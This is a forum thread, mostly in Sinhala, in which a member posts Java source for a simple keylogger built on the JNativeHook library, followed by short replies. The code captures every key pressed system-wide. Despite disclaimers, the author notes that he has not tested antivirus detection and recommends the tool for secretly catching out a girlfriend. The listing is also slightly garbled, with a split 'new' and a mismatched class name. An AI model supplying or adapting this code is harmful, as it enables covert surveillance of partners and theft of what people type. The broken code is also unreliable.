ElaKiri Community
Downloads
Go Back   ElaKiri Community > General > Education
Reload this Page Simple Keylogger Using Java
Reply
 
Thread Tools
(#1)
Old
Hasistranger's Avatar
Hasistranger Hasistranger is offline
Senior Member
Hasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to behold
 
Posts: 10,662
Join Date: Oct 2010
Location: QATAR
check Simple Keylogger Using Java - 01-21-2017, 12:01 AM



මචන්ලා අද මම කියල දෙන්න යන්නේ ජාවා උපයෝගී කරගෙන සරල Keylogger එකක් හදන්නේ කොහොමද කියල.මේක නරක දේවල් වලට නැතුව ඉගෙන ගන්න දෙයක් විදිහට තමන්ගේ දැනුමට එකතු කරගන්න යොදාගන්න.

මුලින්ම අපි බලමු මොකක්ද මේ Keylogger එකක් කියන්නේ කියල.සරලව කියනවනම් , Keylogger එකක් කියන්නේ අපේ පරිගණකයේ අපි keyboard එකෙන් ඇතුලත් කරන දත්ත(characters) මොනාද කියල සටහන් කරගන්න එක සහ , ඒ සටහන් කරගත්ත දත්ත පිටස්තර පුද්ගලයන්ට ලබාදෙන program එකක්.මේ වගේ ඒවා ගොඩක් වෙලාවට යොදාගන්නේ hackerලා.

ඒ වගේම , ගොඩක් අය දන්නවා ඇති ජාවා program එකක් වැඩ කරන්නේ virtual environment එකක් ඇතුලේ කියල.එක නිසා ගොඩක් වෙලාවට windows වගේ මෙහෙයුම් පද්දති සම්බන්ද දේවල් වලට කෙලින්ම ඇගිලි ගහන්න ජාවා වලට හැකියාවක් නැහැ.නමුත් අපිට පුළුවන් c හෝ c++ වලින් නිර්මාණය කරපු API ජාවා සමග භාවිතා කරලා ප්‍රධාන මෙහෙයුම් පද්දතිය සමග සම්බන්දතා ඇති කරගන්න.

මම මේ පෙන්නන්න යන program එකත් වැඩ කරන්නේ එහෙම හදපු ජාවා API එකක් උපයෝගී කරගෙනයි.මම මුලික සිද්දාන්තය වැඩ කරන හැටි program එකක් විදිහට පෙන්නන්නම්.ඉතුරු ටික ඔයාල තනියම තමන්ට කැමති විදිහට වෙනස් කරගන්න.

ඒ වගේම නැවත වතාවක් මම කියන්නේ , මම මේ කියල දෙන දේ වැරදි වැඩ වලට උපයෝගී කරගන්න එපා.ඒ නිසාම තමයි මම මුලික දේ විතරක් කියල දෙන්නේ.

හරි අපිට මේ වැඩේ කරන්න මුලික වශයෙන් අවශ්‍ය වෙන්නේ JNativeHook කියන API එක.
මේ API එක අපිට අන්තර්ජාලය මගින් බාගත කරගන්න පුළුවන්.

ඊට පස්සේ අපි බලමු program එක කොහොමද කියල.


Quote:

import org.jnativehook.GlobalScreen;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;

public class Keylogger implements NativeKeyListener {

public static void main(String[] args) {


try {

GlobalScreen.registerNativeHook();

} catch (Exception e) {

System.out.println("Error :" + e);
}

GlobalScreen.getInstance().addNativeKeyListener(ne w Keyboard());

}

@Override
public void nativeKeyPressed(NativeKeyEvent e) {

System.out.println(NativeKeyEvent.getKeyText(e.getKeyCode()) );


}

@Override
public void nativeKeyReleased(NativeKeyEvent e) {

}

@Override
public void nativeKeyTyped(NativeKeyEvent e) {

}

}


ඔය උඩ තියෙන program එක භාවිත කරලා අපිට පුළුවන් අපි පරිඝනකයේ ඕනෑම තැනක type කරන characters මොනාද කියල සටහන් කරගන්න.පහල වීඩියෝ එක මගින් ඔයාලට දල අදහසක් ගන්න පුළුවන් වෙයි.




තව දෙයක් තමයි , මේ program එක වැඩකරන්න නම් , මේ ප්රෝරම් එක දාල තියෙන පරිගණකයේ ජාවා install කරලා තියෙන්න ඕනේ.

තව දෙයක් තමයි , මේ program එක virus guards වලින් detect කරනවද කියල මම තාම check කරලනම් නැහැ.

මේක හොදයි ඉතින් කෙල්ලගේ හොර අල්ලනවා වගේ වැඩ වලට.

මගේ බ්ලොග් එකට.

මම එහෙනම් පස්සේ දවසක තවත් ත්‍රෙඩ් එකකින් හම්බ වෙන්නම්. එතකන් කට්ටියටම ජයෙන් ජය.


Last edited by Hasistranger; 01-21-2017 at 09:44 AM.
Reply With Quote
(#2)
Old
kellsupun's Avatar
kellsupun kellsupun is offline
Senior Member
kellsupun has much to be proud ofkellsupun has much to be proud ofkellsupun has much to be proud ofkellsupun has much to be proud ofkellsupun has much to be proud ofkellsupun has much to be proud ofkellsupun has much to be proud ofkellsupun has much to be proud ofkellsupun has much to be proud ofkellsupun has much to be proud ofkellsupun has much to be proud of
 
Posts: 64,259
Join Date: Feb 2010
Location: Disce aut Discede
01-21-2017, 12:09 AM

udata udata
Reply With Quote
(#3)
Old
SHANUXLK's Avatar
SHANUXLK SHANUXLK is offline
Senior Member
SHANUXLK is a glorious beacon of lightSHANUXLK is a glorious beacon of lightSHANUXLK is a glorious beacon of lightSHANUXLK is a glorious beacon of lightSHANUXLK is a glorious beacon of lightSHANUXLK is a glorious beacon of lightSHANUXLK is a glorious beacon of lightSHANUXLK is a glorious beacon of lightSHANUXLK is a glorious beacon of lightSHANUXLK is a glorious beacon of lightSHANUXLK is a glorious beacon of light
 
Posts: 2,984
Join Date: Dec 2013
01-21-2017, 12:10 AM

bump
Reply With Quote
(#4)
Old
Fake Hakker's Avatar
Fake Hakker Fake Hakker is offline
Senior Member
Fake Hakker is just really niceFake Hakker is just really niceFake Hakker is just really niceFake Hakker is just really niceFake Hakker is just really niceFake Hakker is just really niceFake Hakker is just really niceFake Hakker is just really nice
 
Posts: 1,171
Join Date: Sep 2015
Location: 172.0.0.1
01-21-2017, 12:16 AM

bump
Reply With Quote
(#5)
Old
codegeek's Avatar
codegeek codegeek is offline
Senior Member
codegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of light
 
Posts: 4,325
Join Date: Jun 2012
Location: srilanka
01-21-2017, 12:17 AM

java walin karana eka sartaka ne kiyalaa ahala tyenawa machan java nati machine ekaka run wen nati nisa correct me if i wrong
Reply With Quote
(#6)
Old
codegeek's Avatar
codegeek codegeek is offline
Senior Member
codegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of lightcodegeek is a glorious beacon of light
 
Posts: 4,325
Join Date: Jun 2012
Location: srilanka
01-21-2017, 12:18 AM

grate wrk tfs
Reply With Quote
(#7)
Old
Hasistranger's Avatar
Hasistranger Hasistranger is offline
Senior Member
Hasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to beholdHasistranger is a splendid one to behold
 
Posts: 10,662
Join Date: Oct 2010
Location: QATAR
check 01-21-2017, 12:19 AM

Quote:
Originally Posted by codegeek View Post
java walin karana eka sartaka ne kiyalaa ahala tyenawa machan java nati machine ekaka run wen nati nisa correct me if i wrong

ඔය හරි මචන්. මේ program එක වැඩ කරන්න නම් , machine එකේ ජාවා JRE එක install කරලා තියෙන්නම ඕනේ.
Reply With Quote
(#8)
Old
ravindaj's Avatar
ravindaj ravindaj is offline
Senior Member
ravindaj is just really niceravindaj is just really niceravindaj is just really niceravindaj is just really niceravindaj is just really niceravindaj is just really niceravindaj is just really niceravindaj is just really niceravindaj is just really nice
 
Posts: 2,534
Join Date: Sep 2014
01-21-2017, 12:28 AM

logger bump
Reply With Quote
(#9)
Old
XibitZ's Avatar
XibitZ XibitZ is offline
Senior Member
XibitZ is a splendid one to beholdXibitZ is a splendid one to beholdXibitZ is a splendid one to beholdXibitZ is a splendid one to beholdXibitZ is a splendid one to beholdXibitZ is a splendid one to beholdXibitZ is a splendid one to beholdXibitZ is a splendid one to beholdXibitZ is a splendid one to beholdXibitZ is a splendid one to beholdXibitZ is a splendid one to behold
 
Posts: 10,349
Join Date: Oct 2008
Location: Moratuwa
01-21-2017, 12:32 AM

Reply With Quote
(#10)
Old
your_love's Avatar
your_love your_love is offline
Senior Member
your_love is a glorious beacon of lightyour_love is a glorious beacon of lightyour_love is a glorious beacon of lightyour_love is a glorious beacon of lightyour_love is a glorious beacon of lightyour_love is a glorious beacon of lightyour_love is a glorious beacon of lightyour_love is a glorious beacon of lightyour_love is a glorious beacon of lightyour_love is a glorious beacon of lightyour_love is a glorious beacon of light
 
Posts: 6,414
Join Date: Apr 2012
01-21-2017, 12:37 AM

Demala wage ban.. REP++++++
Reply With Quote
Reply

Bookmarks

Tags
java, keylogger

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump



Copyright © 2006 - 2011 ElaKiri™ Beta2.Evo vBulletin, vBa iBproArcade Subdreamer I-Magic MKv

Page generated in 0.05715 seconds with 8 queries